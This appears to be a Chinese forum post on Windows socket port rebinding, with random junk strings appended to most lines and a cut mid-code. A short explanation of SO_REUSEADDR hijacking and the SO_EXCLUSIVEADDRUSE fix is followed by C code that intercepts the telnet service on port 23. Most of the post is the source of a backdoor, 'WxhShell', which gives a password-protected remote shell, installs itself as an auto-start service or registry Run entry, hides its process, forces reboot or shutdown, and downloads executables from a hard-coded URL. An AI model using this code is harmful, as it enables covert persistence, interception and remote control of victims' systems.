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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )W vOa] :  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *N6sxFs  
P.^*K:5@  
  saddr.sin_family = AF_INET; %_>8.7  
b`;&o^7gMO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g]?>6 %#rA  
,d^HAg^j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <<@F{B7h  
/7.//klN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +*e Vi3  
9%MgAik(  
  这意味着什么?意味着可以进行如下的攻击: $}0\sj%  
nVP|{M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |gT8QP  
R"z}q (O:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (~"#=fs.L  
UZ:z|a3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i0?/\@gd  
#.,LWL]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $L]M3$\9  
&v:[+zw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I}}>M#  
}%y5<n*v\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5OAb6k'  
@j(2tJ,w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6"r _Y7%  
:/>Zky8,k  
  #include _vAc/_ N  
  #include F"' (i  
  #include 52'6wwv6?  
  #include    $$B#S '  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [l~G7u.d  
  int main() I(/*pa?m{  
  { ? Z2`f6;W4  
  WORD wVersionRequested; j5~~%  
  DWORD ret; =C7<I   
  WSADATA wsaData; "837b/>/  
  BOOL val; scE#&OWF%  
  SOCKADDR_IN saddr; ? a/\5`gnN  
  SOCKADDR_IN scaddr; [BEQ ~A_I  
  int err; ^i@0P}K<  
  SOCKET s; eK\i={va  
  SOCKET sc; N{a=CaYi+  
  int caddsize; :{KpnJvd  
  HANDLE mt; $L'[_J  
  DWORD tid;   F$YT4414  
  wVersionRequested = MAKEWORD( 2, 2 ); O`9vEovjs  
  err = WSAStartup( wVersionRequested, &wsaData ); 1V,DcolRY  
  if ( err != 0 ) { wS|hc+1  
  printf("error!WSAStartup failed!\n"); )]zsAw`/  
  return -1; *qr>x8OGp  
  } TCkMJs?  
  saddr.sin_family = AF_INET; Dh68=F0  
   +'[/eW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F84<='K  
tU.~7f#+A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .kfx\,lgm  
  saddr.sin_port = htons(23); Fc^!="H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;):E 8;B)  
  { 4S* X=1  
  printf("error!socket failed!\n"); ~L_1&q^4!i  
  return -1; aR)w~s\6  
  } (De>k8  
  val = TRUE; 3/,}&SX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #w!ewCvt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *}>)E]O@  
  { =8Z-ORW51  
  printf("error!setsockopt failed!\n"); jK{qw  
  return -1; }E&:  
  } Q-yNw0V}F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =9:gW5F69  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jq_ i&~S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9LSV^[QUH  
J(9{P/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g$JlpD&  
  { P<LmCY m  
  ret=GetLastError(); CFu^i|7o  
  printf("error!bind failed!\n"); $qR@;=  
  return -1; )E^Pn|H  
  } wVF qkJ  
  listen(s,2); LMLrH.  
  while(1) l,UOP[j  
  { zNg[%{mz  
  caddsize = sizeof(scaddr); ~,x4cOdR#  
  //接受连接请求 okO\A^F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ieh<|O,-C  
  if(sc!=INVALID_SOCKET) UsdMCJ&G  
  { 5eM{>qr}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nL]eGC  
  if(mt==NULL) HNLr} Yj  
  { ~1nKL0C6u  
  printf("Thread Creat Failed!\n"); MieO1l  
  break; x-b}S1@  
  } UMK9[Iy$<M  
  } -U|Z9sia  
  CloseHandle(mt); 4Zn [F^p  
  } R%`fd *g  
  closesocket(s); /RWD\u<l  
  WSACleanup(); 4rpry@1  
  return 0; SErh"~[  
  }   ~G.MaSm  
  DWORD WINAPI ClientThread(LPVOID lpParam) WwxV} ?Cf+  
  { #S[Y}-]T  
  SOCKET ss = (SOCKET)lpParam; 4hkyq>c}  
  SOCKET sc; 02-% B~oP  
  unsigned char buf[4096]; j_z@VT}y  
  SOCKADDR_IN saddr; ?[)V  
  long num; S.pXo'}  
  DWORD val; =JxEM7r  
  DWORD ret; =o'g5Be<F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b)r;a5"<5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *aGJ$ P0  
  saddr.sin_family = AF_INET; ;(Az   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1E0!?kRK  
  saddr.sin_port = htons(23); 28 zZ3|Z3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #];ulDq  
  { A f}o/g  
  printf("error!socket failed!\n");  } #&L  
  return -1; qI<c47d;q  
  } 7JBr{3;eS  
  val = 100; {e0(M*u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) moZeP#Q%  
  { :`uu[^  
  ret = GetLastError(); Y&bO[(>1  
  return -1; .9UrWBW\I  
  } E H|L1g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s}bLA>~Ta  
  { $"MGu^0;1  
  ret = GetLastError(); QvJ29  
  return -1; UUF]45t>  
  }  SWyJ`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e7plL^^`  
  { pwV~[+SS_  
  printf("error!socket connect failed!\n"); =,X*40=  
  closesocket(sc); KDj/S-S  
  closesocket(ss); /[n]t  
  return -1; FU;a { irB  
  } "Jdi>{o8  
  while(1) cg9*+]rc  
  { KEf1GU6s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qx*N-,M%k(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AtxC(g m 1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,bP8"|e  
  num = recv(ss,buf,4096,0); 4M+f#b1  
  if(num>0) sejT] rJ  
  send(sc,buf,num,0); 6P)DM  
  else if(num==0) ?yu@eo  
  break; <&bBE"U4  
  num = recv(sc,buf,4096,0); (0rcLNk{|  
  if(num>0) Bj\Us$cZ  
  send(ss,buf,num,0); QSwT1P'U  
  else if(num==0) ;vn0b"Fi3  
  break; $x#qv1  
  } P/Y)Yx_(  
  closesocket(ss); ac1(lD  
  closesocket(sc); p\Iy)Y2Lf!  
  return 0 ; 'ITZz n*  
  } :Y4Sdj  
_xnJfW_  
>ul&x!?@  
========================================================== `'gcF });  
&%eM  
下边附上一个代码,,WXhSHELL '2rSX[$ tf  
uA cvUN-@  
========================================================== 9fO E .  
wB+F/]]|N  
#include "stdafx.h" *z0 R f;  
;ULw-&]P  
#include <stdio.h> s!1/Bm|_T  
#include <string.h> v?n# C  
#include <windows.h> Nz%pl!  
#include <winsock2.h> J|HV8  
#include <winsvc.h> B[2t.d;h  
#include <urlmon.h> N x^JC_  
l_,6<wWp  
#pragma comment (lib, "Ws2_32.lib") Mgu9m8 `J  
#pragma comment (lib, "urlmon.lib") ;ZkY[5  
}iLi5Qkx  
#define MAX_USER   100 // 最大客户端连接数 %=V" }P[  
#define BUF_SOCK   200 // sock buffer &3)6WD?:U  
#define KEY_BUFF   255 // 输入 buffer k?/!`   
RN;#H_ q  
#define REBOOT     0   // 重启 e-.(O8  
#define SHUTDOWN   1   // 关机 1f?Fuw  
uzLm TmM+  
#define DEF_PORT   5000 // 监听端口 9Vt6);cA-]  
jwI1 I{x  
#define REG_LEN     16   // 注册表键长度 -O?A"  
#define SVC_LEN     80   // NT服务名长度 p:ZQ*Ue  
A5[kYD,_  
// 从dll定义API lLK||2d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yk*_u}?#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V9%9nR!'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L:Faq1MG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % 3fpIzm  
c;=St1eoz  
// wxhshell配置信息 0 t/mLw&  
struct WSCFG { D%=&euB  
  int ws_port;         // 监听端口 )]Sf|@K]  
  char ws_passstr[REG_LEN]; // 口令 PTTUI  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9<"F3F0|  
  char ws_regname[REG_LEN]; // 注册表键名 Urksj:N  
  char ws_svcname[REG_LEN]; // 服务名 nFro#qx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?q0a^c?A^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uwt29  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M3dUGM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZvK3Su)f1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @(."[O:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TT){15T;"  
5r;)Ppo  
}; dkg+_V!  
@9k3}x K  
// default Wxhshell configuration &]anRT#  
struct WSCFG wscfg={DEF_PORT, (X (:h\^  
    "xuhuanlingzhe", ]eTp?q%0  
    1, ?wjk=hM2  
    "Wxhshell", 0\eSiXs  
    "Wxhshell", Cq-99@&;  
            "WxhShell Service", x/0x&la  
    "Wrsky Windows CmdShell Service", z_8Bl2tl  
    "Please Input Your Password: ", =CL,+  
  1, Z$35`:x&h  
  "http://www.wrsky.com/wxhshell.exe", w2U]RI\?2  
  "Wxhshell.exe" <Zh\6*3:ab  
    }; ]*0t?'go'  
9>_VU"T  
// 消息定义模块 ,3)JZM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `G>|g^6%i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qc.9GC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J>nta?/,X  
char *msg_ws_ext="\n\rExit."; NCm=l  
char *msg_ws_end="\n\rQuit."; YG>Eop  
char *msg_ws_boot="\n\rReboot..."; Ra C6RH  
char *msg_ws_poff="\n\rShutdown..."; D^{jXNDNO  
char *msg_ws_down="\n\rSave to "; U)z1RHP|z  
JBISA _Y  
char *msg_ws_err="\n\rErr!"; hG}/o&}U  
char *msg_ws_ok="\n\rOK!"; s GrI%3[e"  
%H}M[_f  
char ExeFile[MAX_PATH]; 2m72PU<.  
int nUser = 0; .0|_J|{  
HANDLE handles[MAX_USER]; C?\HB#41  
int OsIsNt; 9g$fFO  
zD s V"D8  
SERVICE_STATUS       serviceStatus; &d"s cM5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >q&e.-qL  
Kke _?/fT  
// 函数声明 U/7jK40  
int Install(void); u R!'v  
int Uninstall(void); }E)t,T>  
int DownloadFile(char *sURL, SOCKET wsh); s2nZW pIy  
int Boot(int flag); >PGsY[N  
void HideProc(void); YT@H^=  
int GetOsVer(void); mrVN&.  
int Wxhshell(SOCKET wsl); fo I:`]2"*  
void TalkWithClient(void *cs); ,yi@?lc  
int CmdShell(SOCKET sock); Pfm B{  
int StartFromService(void); lI5>d(6p  
int StartWxhshell(LPSTR lpCmdLine); >waA\C}  
@*$"6!3s5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2%]#rZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O:dUzZR['  
. ;D'  
// 数据结构和表定义 ^brh\M,:@  
SERVICE_TABLE_ENTRY DispatchTable[] = o K&G  
{ a$LoQ<f_  
{wscfg.ws_svcname, NTServiceMain}, AUl[h&s  
{NULL, NULL} Q2!RFtXV  
}; Q%t _Epe  
O@rZ ^Aa  
// 自我安装 vLCm,Bb2L  
int Install(void) dBW4%Zh  
{ 4_4|2L3  
  char svExeFile[MAX_PATH]; g#5t8w  
  HKEY key; I;mc:@R<  
  strcpy(svExeFile,ExeFile); Ej`G(  
?Y9VviC  
// 如果是win9x系统,修改注册表设为自启动 B^x}=Z4  
if(!OsIsNt) { Fk?KR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w/7vXz<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U,aMv[ZB  
  RegCloseKey(key); hllb\Y)XL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D,s[{RW+q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Btc[  
  RegCloseKey(key); "VAbUs  
  return 0; _ ^^5  
    } 6V1 Z(K  
  } }oii|=,#^  
}  1oG'm  
else { *(VwD)*  
oMN Qv%U  
// 如果是NT以上系统,安装为系统服务 e#?rK=C?9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X-%91z:o58  
if (schSCManager!=0) X|60W  
{ <|:$_&(  
  SC_HANDLE schService = CreateService `iwGPG!  
  ( cty  
  schSCManager, dwm>! h  
  wscfg.ws_svcname, x2g=%K=  
  wscfg.ws_svcdisp, NbUibxJ  
  SERVICE_ALL_ACCESS, *0 ;|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kwFo*1 {  
  SERVICE_AUTO_START, j,N,WtE  
  SERVICE_ERROR_NORMAL, I4zm{ 1g  
  svExeFile, QFEc?sEe  
  NULL, l{_1`rC'  
  NULL, &|Vzo@D(!  
  NULL, 'Ub\8<HfJU  
  NULL, E^m2:J]G  
  NULL (DTkK5/%  
  ); Q!W+vh  
  if (schService!=0) =5h ,ZB2A  
  { N3Z6o.k  
  CloseServiceHandle(schService); (m=F  
  CloseServiceHandle(schSCManager); w{Y:p[}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "3NE%1T  
  strcat(svExeFile,wscfg.ws_svcname); ]@sLX ek  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4n.EA,:g:(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qexv_:C  
  RegCloseKey(key); pKk{Q0Rt  
  return 0; T'VKZ5W  
    } 6;}FZ  
  } 5U(ry6fI=  
  CloseServiceHandle(schSCManager); A#w*r-P  
} O,7*dniH  
} H=_k|#/  
Bj\oo+L/  
return 1; IN!IjInaT@  
} Je~<2EsQ  
%XZdz =B  
// 自我卸载 0I>[rxal  
int Uninstall(void) a]R1Fi0n  
{ 9 N@N U:M+  
  HKEY key; k #/%#rQM  
P.]O8r  
if(!OsIsNt) { D-\z'gS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,SoqVboRl  
  RegDeleteValue(key,wscfg.ws_regname); x% Eu.jj  
  RegCloseKey(key); p87VJ}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <(2,@_~@r  
  RegDeleteValue(key,wscfg.ws_regname); M'ZA(LVp  
  RegCloseKey(key); %ZZW p%uf  
  return 0; k+Ay^i}s.  
  } WR4\dsgCU  
} #pp6 ycy  
} =tfS@o/n  
else { },tn  
[Ma d~;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U~{sJwB  
if (schSCManager!=0) y Ide]  
{ 7Ust7%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q 1e hW  
  if (schService!=0) Kj*:G!r0.:  
  { 0p ZX_L'  
  if(DeleteService(schService)!=0) { o2NU~Ub  
  CloseServiceHandle(schService); E3o J;E  
  CloseServiceHandle(schSCManager); /'>#1J|TlK  
  return 0; rfc;   
  } KN zm)O  
  CloseServiceHandle(schService); iY4FOt7\  
  } /g]m,Y{OI  
  CloseServiceHandle(schSCManager); Nn|~ :9#  
} %NfbgJcL_  
} swT/ tesj  
C<\O;-nHH  
return 1; 0%<x>O  
} %$I@7Es>  
{afR?3GK  
// 从指定url下载文件 Qxh 1I?h  
int DownloadFile(char *sURL, SOCKET wsh) iKuSk~  
{ bZ*J]1y(.  
  HRESULT hr; L;k9}HWpP  
char seps[]= "/"; 0 6S-3bis  
char *token; N6_<[`  
char *file; 4F>?G{ci  
char myURL[MAX_PATH]; gdyP,zMD7  
char myFILE[MAX_PATH]; tV,Y38e  
X3;|h93.a  
strcpy(myURL,sURL); or1D 6 *'  
  token=strtok(myURL,seps); &B5@\Hd;  
  while(token!=NULL) )6:nJ"j#  
  { o  w<.Dh  
    file=token; ] 6rr;S  
  token=strtok(NULL,seps); y9L:2f\  
  } Wo+'j $k  
5//.q;z  
GetCurrentDirectory(MAX_PATH,myFILE); 2Aq%;=+*  
strcat(myFILE, "\\"); X"qC&oZmf  
strcat(myFILE, file); :TzHI    
  send(wsh,myFILE,strlen(myFILE),0); d*xKq"+ &E  
send(wsh,"...",3,0); 6P KH%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i@}/KT  
  if(hr==S_OK) U[UjL)U  
return 0; !mLY W  
else 5>'1[e45  
return 1; I`e |[k2  
J 4EG  
} +iYy^oXxw  
%}asw/WiUa  
// 系统电源模块 {qHf%y&[  
int Boot(int flag) &jHnM^nQ  
{ ]Kb3'je  
  HANDLE hToken; A!Ls<D.  
  TOKEN_PRIVILEGES tkp; ~L.)<{?  
'rw nAr  
  if(OsIsNt) { wLf=a^c#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?Sp9PixP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FF"`F8-w>Z  
    tkp.PrivilegeCount = 1; Z ^tF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } 1 >i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YI*Av+Z)  
if(flag==REBOOT) { h)qapC5z,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Q+<G-Kb.  
  return 0; Gmi$Nl!~  
} oX9rpTi  
else { wv8WqYV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s innHQ  
  return 0; \)pT+QxZ  
} H1FSN6'  
  } /~Q2SrYH  
  else { yI 6AafS~  
if(flag==REBOOT) { W c"f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'bpx  
  return 0; M#Vl{ b  
} v]tbs)x;h  
else { QDg\GA8|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \y9( b  
  return 0; @,RrAL }|  
} )(|+z'  
} N!}r(Dd*  
9?M><bBX  
return 1; \i-HECc"U  
} (@H'7,  
i(XcNnn6  
// win9x进程隐藏模块 *LbRLwt  
void HideProc(void) Ih]'OaE   
{ 8uR4ZE*  
`eat7O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vb`m3  
  if ( hKernel != NULL ) }-:s9Lt  
  { OA?? fb, b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BiQ7r=Dd.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MXbt`]`_  
    FreeLibrary(hKernel); 0\*6U H  
  } E5P?(5Nv  
?th`5K30  
return; c:Tw.WA  
} FbVdqO  
_-^Lr /`G!  
// 获取操作系统版本 $~<);dYu0  
int GetOsVer(void) at@B>Rb  
{ 1YmB2h[Z  
  OSVERSIONINFO winfo; 9WaKsdf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Bo/vB'  
  GetVersionEx(&winfo); 6^pddGIG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xG05OqKpE  
  return 1; 6Hz45  
  else gQJy"f  
  return 0; M4rOnIJ  
} k{3:$, b  
6_a42#  
// 客户端句柄模块 hVe@:1og#  
int Wxhshell(SOCKET wsl) 8kz7*AO  
{ Q]7Rqslz  
  SOCKET wsh; ]:B|_| H  
  struct sockaddr_in client; jOppru5U  
  DWORD myID; H[ DrG6GA  
aO9a G*9T  
  while(nUser<MAX_USER) @3/.W+  
{ 6@TGa%:G  
  int nSize=sizeof(client); GVT+c@Gx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *%^Vq  
  if(wsh==INVALID_SOCKET) return 1; iol.RszlZ|  
&y?L^Aq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DS,"^K  
if(handles[nUser]==0) }5Yd:%u5  
  closesocket(wsh); jFBLElE  
else _e<3 g9bj  
  nUser++; p.9VyM  
  } beyC't  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Farcd!}  
8S_i;  
  return 0; 8v7;{4^  
} 2YD;Gb[8  
io_4d2uBh  
// 关闭 socket _q >>]{5  
void CloseIt(SOCKET wsh) /=9t$u|  
{ 8-Ik .,}  
closesocket(wsh); \Lxsg! wtJ  
nUser--; Y]ML-smN  
ExitThread(0); .` z](s  
} s7?Q[vN  
t1,sG8Z  
// 客户端请求句柄 LHjGlBy  
void TalkWithClient(void *cs) \vVGfG?6  
{ zmH8#  
i?uJ<BdU[  
  SOCKET wsh=(SOCKET)cs; $~xY6"_}!!  
  char pwd[SVC_LEN]; "oX@Z^  
  char cmd[KEY_BUFF]; / lh3.\|  
char chr[1]; 5UE5;yo  
int i,j; kK2x';21  
&u-H/C U%  
  while (nUser < MAX_USER) { JHpaDy*  
@GzEhv  
if(wscfg.ws_passstr) { R=jIVw'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ">QNiR!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yDBS : \  
  //ZeroMemory(pwd,KEY_BUFF); #<20vdc  
      i=0; H-GlCVq~  
  while(i<SVC_LEN) { X kZ82w#b  
@G  0k+  
  // 设置超时 RI_:~^nO{r  
  fd_set FdRead; |EuWzhNAO  
  struct timeval TimeOut; Ur`Ri?  
  FD_ZERO(&FdRead); ]2kgG*^n"  
  FD_SET(wsh,&FdRead); l][{ #>V  
  TimeOut.tv_sec=8; [U_S u,  
  TimeOut.tv_usec=0; ViqcJD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : E `N0UA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "V!y"yQ  
H"8fnN=xB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qy1$(3t$  
  pwd=chr[0]; q.6$-w  
  if(chr[0]==0xd || chr[0]==0xa) { {8Jr.&Y2  
  pwd=0; qrBo'@7  
  break; Ay'2! K,I  
  } u(B0X=B  
  i++; V_JM@VN}Kk  
    } t0XM#9L  
trL:qD+{(  
  // 如果是非法用户,关闭 socket UTw f!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HMbF#!E  
} V3O<l}ak  
juPW!u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  PDaD:}9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eIjn~2^  
b_xn80O  
while(1) { p!<Y 'G  
wjGD[~mB  
  ZeroMemory(cmd,KEY_BUFF); 1A;>@4iC0  
fMaUIJ:Q9  
      // 自动支持客户端 telnet标准   Nq|b$S[4  
  j=0; VmM?KlC  
  while(j<KEY_BUFF) { #8P9}WTno.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F;l*@y Tq  
  cmd[j]=chr[0]; n!5 :I#B  
  if(chr[0]==0xa || chr[0]==0xd) { ]t-_.E )F  
  cmd[j]=0; {] 1+01vI-  
  break; |IL..C  
  } `!<RP'  
  j++; t(FI Bf3  
    } 0q`n]NM  
.du FMJl  
  // 下载文件 5}FPqyK"  
  if(strstr(cmd,"http://")) { /7Z;/|oU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J8[N!qDCj  
  if(DownloadFile(cmd,wsh)) )0Av:eF-+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Uf]qQ1  
  else ,TY&N-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B.nq3;Y  
  } [ UN`~  
  else { AZ~= ]1  
=H&@9=D*  
    switch(cmd[0]) { ?k)(~Y&@p  
  Jsf -t  
  // 帮助 :e1BQj`R  
  case '?': { $CXKeWS=Q.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uY+N163i  
    break; NMYkEz(&R  
  } P+r -t8  
  // 安装 N<V,5  
  case 'i': { s,Uc cA@  
    if(Install()) t>[K:[0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Ti  
    else "I.PV$Rxl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M$j]VZ  
    break; _<x4/".}B3  
    } >, 22@4  
  // 卸载 <t[WHDO`  
  case 'r': { S'"(zc3 =  
    if(Uninstall()) __jFSa`at  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L7i^?40  
    else L=zt\L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e >W}3H5w0  
    break; H2oAek(  
    } |pB[g> ~V  
  // 显示 wxhshell 所在路径 )r _zM~jI  
  case 'p': { Wt2+D{@8  
    char svExeFile[MAX_PATH]; ]DcQ8D  
    strcpy(svExeFile,"\n\r"); ao>`[-  
      strcat(svExeFile,ExeFile); GrWzgO  
        send(wsh,svExeFile,strlen(svExeFile),0); FL -yt  
    break; 0mj^Tms  
    } ye Q6\yi  
  // 重启 /8 /2#`3R  
  case 'b': { ptXCM[Z+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %G!BbXlz  
    if(Boot(REBOOT)) /lBx}o'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >W%tEc  
    else { #SiOx/  
    closesocket(wsh); B=K& +  
    ExitThread(0); )sg@HFhY'  
    } j_2-  
    break; xf/ SUO F  
    } f{=0-%dA  
  // 关机 Z6G>j  
  case 'd': { nY7 ZK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !o A,^4(  
    if(Boot(SHUTDOWN)) 7I>@PV N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ %LrpD  
